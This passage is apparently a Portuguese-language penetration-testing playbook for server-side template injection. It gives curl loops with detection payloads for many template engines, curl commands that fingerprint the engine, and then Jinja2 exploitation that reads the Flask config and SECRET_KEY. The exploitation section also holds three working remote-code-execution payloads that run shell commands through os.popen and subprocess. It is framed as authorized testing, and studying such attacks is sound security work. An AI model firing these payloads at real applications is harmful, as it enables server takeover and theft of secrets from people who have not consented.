Explorando Vulnerabilidades de Injeção de Template

Quando Usar

• Durante testes de penetração autorizados quando a entrada do usuário é renderizada através de um motor de template do lado do servidor
• Ao testar páginas de erro, templates de e-mail, geradores de PDF ou construtores de relatórios que incluem dados fornecidos pelo usuário
• Para avaliar aplicações que permitem aos usuários personalizar templates ou mensagens de notificação
• Ao identificar potenciais SSTI em parâmetros que refletem resultados aritméticos (por exemplo, {{7*7}} retorna 49)
• Durante avaliações de segurança de plataformas CMS, ferramentas de marketing ou qualquer aplicação com funcionalidade de template

Pré-requisitos

• Autorização: Acordo escrito de teste de penetração com escopo de teste de RCE
• Burp Suite Professional: Para interceptar e modificar parâmetros de template
• tplmap: Ferramenta automatizada de exploração de SSTI (git clone https://github.com/epinna/tplmap.git)
• SSTImap: Scanner moderno de SSTI (pip install sstimap)
• curl: Para testes manuais de payloads SSTI
• Conhecimento de motores de template: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty

Fluxo de Trabalho

Passo 1: Identificar Pontos de Injeção de Template

Encontre parâmetros onde a entrada do usuário é processada por um motor de template.

# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present

# Universal detection payloads
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates

Passo 2: Identificar o Motor de Template

Determine qual motor de template está em uso para selecionar a técnica de exploração apropriada.

# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)

# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask

# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker

# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity

# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty

# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble

# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"

Passo 3: Explorar Jinja2 (Python/Flask)

Alcance a execução de código através da injeção de template Jinja2.

# Ler configuração
curl -s "https://target.example.com/page?name={{config.items()}}"

# Acessar chave secreta
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# RCE via Jinja2 - método 1: acessando o módulo os através do MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - método 2: usando cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - método 3: usando lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Leitura de arquivo via Jinja2

…